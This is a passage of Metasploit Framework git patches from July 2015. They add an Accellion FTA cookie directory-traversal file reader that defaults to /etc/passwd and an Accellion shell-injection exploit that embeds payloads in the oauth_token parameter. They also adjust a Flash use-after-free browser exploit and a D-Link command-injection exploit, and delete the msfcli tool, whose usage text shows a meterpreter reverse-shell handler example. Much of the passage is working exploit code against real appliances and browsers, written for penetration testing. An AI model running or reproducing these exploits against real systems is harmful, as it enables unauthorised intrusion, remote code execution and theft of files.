Flash 18.0.0.194, - Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and + Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, and Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468. }, 'License' => MSF_LICENSE, @@ -66,6 +65,15 @@ class Metasploit3 < Msf::Exploit::Remote false end, + :ua_ver => lambda do |ver| + # Not reliable enough yet, don't fire + case target.name + when 'Windows' + return false if ver == '11.0' + end + + true + end, :flash => lambda do |ver| case target.name when 'Windows' From a3ec56c4cb64bee3da0c38fb42a00c3b537e2b78 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 8 Jul 2015 12:32:38 -0500 Subject: [PATCH 0684/1013] Do it in on_request_exploit because it's too specific --- .../multi/browser/adobe_flash_hacking_team_uaf.rb | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 48c9a72bda..25c711c40a 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -65,15 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote false end, - :ua_ver => lambda do |ver| - # Not reliable enough yet, don't fire - case target.name - when 'Windows' - return false if ver == '11.0' - end - - true - end, :flash => lambda do |ver| case target.name when 'Windows' @@ -114,6 +105,12 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") + if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0' + print_warning("Target setup not supported") + send_not_found(cli) + return + end + if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) From 21e44f235e80a56254ccdf26e2d8ba70be396e1b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 8 Jul 2015 13:18:57 -0500 Subject: [PATCH 0685/1013] Example of doing Flash detection with Flash --- .../exploit/remote/browser_exploit_server.rb | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index a757715780..a8c02ae479 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -90,6 +90,8 @@ module Msf @info_receiver_page = rand_text_alpha(5) @exploit_receiver_page = rand_text_alpha(6) @noscript_receiver_page = rand_text_alpha(7) + @flash_receiver_page = rand_text_alpha(8) + @flash_swf = rand_text_alpha(9) register_options( [ @@ -331,6 +333,11 @@ module Msf # Gathering target info from the detection stage case source + when :flash + # Flash version detection + parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') + version_info = 'FLASH VERSION HERE' + update_profile(target_info, :flash, version_info) when :script # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') @@ -411,6 +418,15 @@ module Msf "vuln_test" : <%= js_vuln_test %> }; + if (d["flash"]) { + // Load SWF for accurate Flash detection + // This SWF needs to send the Flash version info as a POST request to BES sort of like this: + // <%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/ + var flashObject = document.createElement("object"); + flashObject.setAttribute("data", "Flash location from the @flash_swf instance variable"); + document.body.appendChild(flashObject); // Do you actually need to do this? + } + <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %> d['office'] = ie_addons_detect.getMsOfficeVersion(); d['mshtml_build'] = ScriptEngineBuildVersion().toString(); @@ -468,6 +484,11 @@ module Msf cookie end + def load_swf_detection + # Your SWF loads here + '' + end + # Handles exploit stages. # @@ -492,6 +513,15 @@ module Msf html = get_detection_html(ua) send_response(cli, html, {'Set-Cookie' => cookie_header(tag)}) + when /#{@flash_swf}/ + swf = load_swf_detection + send_response(cli, swf) + + when /#{@flash_receiver_page}/ + vprint_status("Received information from Flash") + process_browser_info(:flash, cli, request) + send_not_found(cli) + when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled From 25e0f888dd7c27c9cd57e416d1b7041f7ebe5263 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 8 Jul 2015 13:42:11 -0500 Subject: [PATCH 0686/1013] Initial commit of R7-2015-08 coverage --- .../http/accellion_fta_statecode_file_read.rb | 84 ++++++++++++ .../http/accellion_fta_getstatus_oauth.rb | 125 ++++++++++++++++++ .../linux/misc/accellion_fta_mpipe2.rb | 2 +- 3 files changed, 210 insertions(+), 1 deletion(-) create mode 100644 modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb create mode 100644 modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb new file mode 100644 index 0000000000..c0c943a984 --- /dev/null +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Accellion FTA statecode Cookie Arbitrary File Read', + 'Description' => %q{ + This module exploits a file disclosure vulnerability in the Accellion + File Transfer appliance. This vulnerability is triggered when a user-provided + 'statecode' cookie parameter is appended to a file path that is processed as + a HTML template. By prepending this cookie with directory traversal sequence + and appending a NULL byte, any file readable by the web user can be exposed. + The web user has read access to a number of sensitive files, including the + system configuration and files uploaded to the appliance by users. + This issue was confirmed on version FTA_9_11_200, but may apply to previous + versions as well. This issue was fixed in software update FTA_9_11_210. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://r-7.co/R7-2015-08'], + ['CVE', '2015-2857'] + ], + 'DisclosureDate' => 'Jul 10 2015' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The URI to request that triggers a call to template()', '/courier/intermediate_login.html']), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + ], self.class) + end + + def run_host(ip) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => datastore['TARGETURI'], + 'cookie' => 'statecode=../../../../..' + datastore['FILEPATH'] + '%00', + }) + + return if not res + + if res.code != 200 + vprint_status("#{peer} Unexpected response code: #{res.code} #{res.message}") + return + end + + contents = res.body + fname = ::File.basename(datastore['FILEPATH']) + + expected_server = "Apache" + expected_expires = 'Mon, 26 Jul 1997 05:00:00 GMT' + + # Use hints from the server headers to indicate whether we think this was a valid response + if res.headers['Server'].to_s == expected_server && res.headers['Expires'].to_s == expected_expires + path = store_loot( + 'accellion.fta.file', + 'application/octet-stream', + rhost, + res.body, + fname + ) + print_good("#{peer} Sucessfully downloaded #{datastore['FILEPATH']} as #{path}") + else + vprint_status( + "#{peer} Unexpected response headers: (Server=#{res.headers['Server'].inspect} Expected=#{expected_server.inspect}) " + + "(Expires=#{res.headers['Expires'].inspect} Expected=#{expected_expires.inspect})" + ) + end + end + +end diff --git a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb new file mode 100644 index 0000000000..d631e258a6 --- /dev/null +++ b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Accellion FTA getStatus verify_oauth_token Command Execution', + 'Description' => %q{ + This module exploits a metacharacter shell injection vulnerability in the Accellion + File Transfer appliance. This vulnerability is triggered when a user-provided + 'oauth_token' is passed into a system() call within a mod_perl handler. This + module exploits the '/tws/getStatus' endpoint. Other vulnerable handlers include + '/seos/find.api', '/seos/put.api', and /seos/mput.api'. This issue was confirmed on + version FTA_9_11_200, but may apply to previous versions as well. This issue was + fixed in software update FTA_9_11_210. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://r-7.co/R7-2015-08'], + ['CVE', '2015-2857'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => false, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl bash telnet', + } + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 10 2015' + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]) + ], self.class) + end + + def check + uri = '/tws/getStatus' + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'transaction_id' => rand(0x100000000), + 'oauth_token' => 'invalid' + }}) + + unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"MD5 token is invalid"/ + return Exploit::CheckCode::Safe + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'transaction_id' => rand(0x100000000), + 'oauth_token' => "';echo '" + }}) + + unless res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/ + return Exploit::CheckCode::Safe + end + + Msf::Exploit::CheckCode::Vulnerable + end + + def exploit + + # The token is embedded into a command line the following: + # `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`; + token = "';#{payload.encoded};echo '" + + uri = '/tws/getStatus' + + # Other exploitable URLs: + # * /seos/find.api (works with no other changes to this module) + # * /seos/put.api (requires some hoop jumping, upload) + # * /seos/mput.api (requires some hoop jumping, token && upload) + + print_status("Sending request for #{uri}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'transaction_id' => rand(0x100000000), + 'oauth_token' => token + }}) + + if res && res.code == 200 && res.body.to_s =~ /"result_msg":"Success","transaction_id":"/ + print_status("Valid response received...") + else + if res + print_error("Unexpected reply from the target: #{res.code} #{res.message} #{res.body}") + else + print_error("No reply received from the target") + end + end + + handler + end + +end diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index bc04a2f684..fbf607d392 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution', + 'Name' => 'Accellion FTA MPIPE2 Command Execution', 'Description' => %q{ This module exploits a chain of vulnerabilities in the Accellion File Transfer appliance. This appliance exposes a UDP service on From 67666160e85c8c9d8c6d37f46659f301cbbe67eb Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Wed, 8 Jul 2015 13:47:59 -0500 Subject: [PATCH 0687/1013] Add patched server detection --- .../scanner/http/accellion_fta_statecode_file_read.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb index c0c943a984..b59839cd19 100644 --- a/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb +++ b/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb @@ -57,7 +57,14 @@ class Metasploit3 < Msf::Auxiliary return end - contents = res.body + contents = res.body.to_s + + # Check for patched versions of the FTA + if contents =~ / Missing session ID.*Accellion, Inc/m + print_error("#{peer} Appears to be a patched Accellion FTA") + return + end + fname = ::File.basename(datastore['FILEPATH']) expected_server = "Apache" From d7beb1a68593144ec0f99e9d4bff0c43aec1d65c Mon Sep 17 00:00:00 2001 From: Michael Messner <devnull@s3cur1ty.de> Date: Thu, 9 Jul 2015 08:31:11 +0200 Subject: [PATCH 0688/1013] feedback included --- .../linux/http/dlink_dspw110_cookie_noauth_exec.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index 62e71fd341..a63be7dca8 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -112,8 +112,8 @@ class Metasploit3 < Msf::Exploit::Remote file_upload << cmd << "\n" post_data = Rex::MIME::Message.new - post_data.add_part(file_upload, nil, "binary", "form-data; name=\"xxx\"; filename=\"#{@counter}\"") - post_data.bound = "-9bcdb049f0d2--" + post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"") + post_data.bound = "-#{rand_text_alpha(12)}--" file = post_data.to_s @counter = @counter + 1 @@ -121,7 +121,12 @@ class Metasploit3 < Msf::Exploit::Remote begin send_request_cgi({ 'method' => 'POST', - 'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/", + 'uri' => "/web_cgi.cgi", + 'vars_get' => { + '&request' =>'UploadFile', + 'path' => '/tmp/', + }, + 'encode_params' => false, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => file }) @@ -132,6 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_final_command(cmd) + #very limited space - larger commands crash the webserver fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 begin send_request_cgi({ From f59c99e2ffee522f593b302e713a1d949736e245 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 9 Jul 2015 12:50:02 -0500 Subject: [PATCH 0689/1013] Remove msfcli, please use msfconsole -x instead msfcli is no longer supported, please use msfconsole. Announcement on SecurityStreet: Weekly Metasploit Wrapup Posted by Tod Beardsley in Metasploit on Jan 23, 2015 11:57:05 AM --- lib/msf/core/modules/loader/base.rb | 10 +- lib/msf/core/modules/loader/directory.rb | 19 +- metasploit-framework.gemspec | 1 - modules/auxiliary/scanner/http/cert.rb | 4 - msfcli | 608 ----------------- spec/msfcli_spec.rb | 812 ----------------------- tools/profile.sh | 2 +- 7 files changed, 3 insertions(+), 1453 deletions(-) delete mode 100755 msfcli delete mode 100644 spec/msfcli_spec.rb diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb index 81997aae12..5f4586efd6 100644 --- a/lib/msf/core/modules/loader/base.rb +++ b/lib/msf/core/modules/loader/base.rb @@ -253,21 +253,13 @@ class Msf::Modules::Loader::Base # @return [Hash{String => Integer}] Maps module type to number of # modules loaded def load_modules(path, options={}) - options.assert_valid_keys(:force, :whitelist) + options.assert_valid_keys(:force) force = options[:force] count_by_type = {} recalculate_by_type = {} - # This is used to avoid loading the same thing twice - loaded_items = [] - each_module_reference_name(path, options) do |parent_path, type, module_reference_name| - # In msfcli mode, if a module is already loaded, avoid loading it again - next if loaded_items.include?(module_reference_name) and options[:whitelist] - - # Keep track of loaded modules in msfcli mode - loaded_items << module_reference_name if options[:whitelist] load_module( parent_path, type, diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb index 693bcc9036..46f182e4f6 100644 --- a/lib/msf/core/modules/loader/directory.rb +++ b/lib/msf/core/modules/loader/directory.rb @@ -56,24 +56,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base # The module_reference_name doesn't have a file extension module_reference_name = module_reference_name_from_path(relative_entry_descendant_path) - # If the modules argument is set, this means we only want to load specific ones instead - # of loading everything to memory - see msfcli. - if whitelist.empty? - # Load every module we see, which is the default behavior. - yield path, type, module_reference_name - else - whitelist.each do |pattern| - # We have to use entry_descendant_path to see if this is the module we want, because - # this is easier to identify the module type just by looking at the file path. - # For example, if module_reference_name is used (or a parsed relative path), you can't - # really tell if php/generic is a NOP module, a payload, or an encoder. - if entry_descendant_path =~ pattern - yield path, type, module_reference_name - else - next - end - end - end + yield path, type, module_reference_name end end end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index a9808136ab..1749e6de7d 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -30,7 +30,6 @@ Gem::Specification.new do |spec| spec.bindir = '.' spec.executables = [ 'msfbinscan', - 'msfcli', 'msfconsole', 'msfd', 'msfelfscan', diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 972508d923..e568f342f7 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -21,10 +21,6 @@ class Metasploit3 < Msf::Auxiliary This module will check the certificate of the specified web servers to ensure the subject and issuer match the supplied pattern and that the certificate is not expired. - - Note: Be sure to check your expression if using msfcli, shells tend to not like certain - things and will strip/interpret them (= is a perfect example). It is better to use in - console. } ) diff --git a/msfcli b/msfcli deleted file mode 100755 index 911b32e920..0000000000 --- a/msfcli +++ /dev/null @@ -1,608 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# This user interface allows users to interact with the framework through a -# command line interface (CLI) rather than having to use a prompting console -# or web-based interface. -# - -$stderr.puts "[!] ************************************************************************" -$stderr.puts "[!] * The utility msfcli is deprecated! *" -$stderr.puts "[!] * It will be removed on or about 2015-06-18 *" -$stderr.puts "[!] * Please use msfconsole -r or -x instead *" -$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *" -$stderr.puts "[!] ************************************************************************" - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) - -class Msfcli - # - # Attributes - # - - # @attribute framework - # @return [Msf::Simple::Framework] - - # - # initialize - # - - def initialize(args) - @args = {} - @indent = ' ' - - @args[:module_name] = args.shift # First argument should be the module name - @args[:mode] = args.pop || 'h' # Last argument should be the mode - @args[:params] = args # Whatever is in the middle should be the params - - if @args[:module_name] =~ /^exploit(s)*\//i - @args[:module_name] = @args[:module_name].split('/') - @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" - end - end - - # - # Instance Methods - # - - # The framework to create and list modules. - # - # @return [Msf::Simple::Framework] - def framework - @framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) - end - - # Sets {#framework}. - # - # @raise [ArgumentError] if {#framework} already set - def framework=(framework) - if instance_variable_defined? :@framework - fail ArgumentError.new("framework already set") - end - - @framework = framework - end - - # - # Returns a usage Rex table - # - def usage (str = nil, extra = nil) - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Usage: #{$0} <exploit_name> <option=value> [mode]", - 'Indent' => 4, - 'Columns' => ['Mode', 'Description'] - ) - - tbl << ['(H)elp', "You're looking at it baby!"] - tbl << ['(S)ummary', 'Show information about this module'] - tbl << ['(O)ptions', 'Show available options for this module'] - tbl << ['(M)issing', 'Show empty required options for this module'] - tbl << ['(A)dvanced', 'Show available advanced options for this module'] - tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] - tbl << ['(P)ayloads', 'Show available payloads for this module'] - tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl << ['(AC)tions', 'Show available actions for this module'] - tbl << ['(C)heck', 'Run the check routine of the selected module'] - tbl << ['(E)xecute', 'Execute the selected module'] - - tbl.to_s - - $stdout.puts "Error: #{str}\n\n" if str - $stdout.puts tbl.to_s + "\n" - $stdout.puts "Examples:" + "\n" - $stdout.puts "msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" - $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" - $stdout.puts extra + "\n" if extra - $stdout.puts - end - - - # - # Loads up everything in framework, and then returns the module list - # - def dump_module_list - # This is what happens if the user doesn't specify a module name: - # msfcli will end up loading EVERYTHING to memory to show you a help - # menu plus a list of modules available. Really expensive if you ask me. - $stdout.puts "[*] Please wait while we load the module tree..." - self.framework = Msf::Simple::Framework.create - ext = '' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Exploits', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.exploits.each_module { |name, mod| - tbl << [ 'exploit/' + name, mod.new.name ] - } - ext << tbl.to_s + "\n" - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Auxiliary', - 'Indent' => 4, - 'Columns' => [ 'Name', 'Description' ]) - - framework.auxiliary.each_module { |name, mod| - tbl << [ 'auxiliary/' + name, mod.new.name ] - } - - ext << tbl.to_s + "\n" - ext - end - - - # - # Payload naming style is kind of inconsistent, so instead of - # finding the exact path name, we provide the most educated guess (whitelist) - # based on platform/stage type/session type/payload name suffix/etc. - # - def guess_payload_name(p) - matches = [] - payload = p.split('/') - platform = payload[0] - suffix = payload[-1] - stage_types = ['singles', 'stagers', 'stages'] - session_types = ['meterpreter', 'shell'] - arch = '' - - # Rule out some possibilities - if p =~ /meterpreter/i - session_types.delete('shell') - stage_types.delete('singles') - end - if p =~ /shell\/.+$/i - session_types.delete('meterpreter') - stage_types.delete('singles') - end - - if p =~ /x64/i - arch = 'x64' - elsif p =~ /x86/i - arch = 'x86' - end - - # Determine if the payload is staged. If it is, then - # we need to load that staged module too. - if session_types.include?('shell') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/shell/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/shell/ - else - matches << /stages\/#{platform}\/shell/ - end - elsif session_types.include?('meterpreter') and stage_types.include?('stages') - if arch == 'x64' - matches << /stages\/#{platform}\/x64\/meterpreter/ - elsif arch == 'x86' - matches << /stages\/#{platform}\/x86\/meterpreter/ - else - matches << /stages\/#{platform}\/meterpreter/ - end - end - - # Guess the second possible match - stage_types *= "|" - session_types *= "|" - - if arch == 'x64' - matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ - elsif arch == 'x86' - matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ - else - matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ - end - - matches - end - - - # - # Returns a whitelist for encoder modules - # - def guess_encoder_name(e) - [/encoders\/#{e}/] - end - - - # - # Returns a whitelist for nop modules - # - def guess_nop_name(n) - [/nops\/#{n}/] - end - - - # - # Returns a whitelist for post modules - # - def guess_post_name(p) - [/post\/#{p}/] - end - - - # - # Returns possible patterns like exploit/aux, encoders, nops we want to - # load to the whitelist. - # - def generate_whitelist - whitelist = [] - whitelist << /#{@args[:module_name]}/ # Add exploit - - # nil = not set, empty = manually set to load nothing - encoder_val = nil - nops_val = nil - post_val = nil - payload_param = '' - junk_args = [] - - @args[:params].each { |args| - var, val = args.split('=', 2) - next if val.nil? - - case var.downcase - when 'payload' - payload_param = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_payload_name(val)) - end - - when 'encoder' - encoder_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_encoder_name(val)) - end - - when 'nop' - nops_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_nop_name(val)) - end - - when 'post' - post_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_post_name(val)) - end - end - } - - # Cleanup empty args - junk_args.each { |args| @args[:params].delete(args) } - - # If it's an exploit and no payload set, load them all. - if @args[:module_name] !~ /auxiliary\// and payload_param.empty? - whitelist << /payloads\/.+/ - end - - # Add post modules list if not set - if post_val.nil? - whitelist << /post\/.+/ - end - - # Add default encoders if not set - # This one is needed no matter what - whitelist << /encoders\/generic\/*/ - if encoder_val.nil? - if payload_param =~ /^.+\.x64.+/ - whitelist << /encoders\/x64\/.+/ - elsif payload_param =~ /^.+\.x86.+/ - whitelist << /encoders\/x86\/.+/ - else - whitelist << /encoders\/.+/ - end - end - - # Add default NOP modules if not set - if nops_val.nil? - whitelist << /nops\/.+/ - end - - whitelist - end - - - # - # Initializes exploit/payload/encoder/nop modules. - # - def init_modules - $stdout.puts "[*] Initializing modules..." - - module_name = @args[:module_name] - modules = { - :module => nil, # aux or exploit instance - :payload => nil, # payload instance - :encoder => nil, # encoder instance - :nop => nil # nop instance - } - - whitelist = generate_whitelist - - # Load up all the possible modules, this is where things get slow again - framework.init_module_paths({:whitelist=>whitelist}) - if (framework.modules.module_load_error_by_path.length > 0) - print("Warning: The following modules could not be loaded!\n\n") - - framework.modules.module_load_error_by_path.each do |path, error| - print("\t#{path}: #{error}\n\n") - end - - return {} - end - - # Determine what type of module it is - if module_name =~ /exploit\/(.*)/ - modules[:module] = framework.exploits.create($1) - elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = framework.auxiliary.create($1) - elsif module_name =~ /post\/(.*)/ - modules[:module] = framework.post.create($1) - else - modules[:module] = framework.exploits.create(module_name) - if modules[:module].nil? - # Try falling back on aux modules - modules[:module] = framework.auxiliary.create(module_name) - end - end - - if modules[:module].nil? - # Still nil? Ok then, probably invalid - return {} - end - - modules[:module].init_ui( - Rex::Ui::Text::Input::Stdio.new, - Rex::Ui::Text::Output::Stdio.new - ) - - # Import options - begin - modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - rescue Rex::ArgumentParseError => e - raise e - end - - # Create the payload to use - if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD']) - if modules[:payload] - modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the encoder to use - if modules[:module].datastore['ENCODER'] - modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER']) - if modules[:encoder] - modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the NOP to use - if modules[:module].datastore['NOP'] - modules[:nop] = framework.nops.create(modules[:module].datastore['NOP']) - if modules[:nop] - modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - modules - end - - - def show_summary(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) - $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] - $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] - end - - - def show_options(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] - end - - - def show_missing(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_options(m[:module], @indent, true)) - $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent, true)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent, true)) if m[:encoder] - $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent, true)) if m[:nop] - end - - - def show_advanced(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] - end - - - def show_ids_evasion(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] - end - - - def show_payloads(m) - readable = Msf::Serializer::ReadableText - txt = "Compatible payloads" - $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) - end - - - def show_targets(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) - end - - - def show_actions(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent)) - end - - - def show_check(m) - begin - if (code = m[:module].check_simple( - 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, - 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) - stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' - - $stdout.puts("#{stat} #{code[1]}") - else - $stdout.puts("Check failed: The state could not be determined.") - end - rescue - $stdout.puts("Check failed: #{$!}") - end - end - - - def execute_module(m) - con = Msf::Ui::Console::Driver.new( - 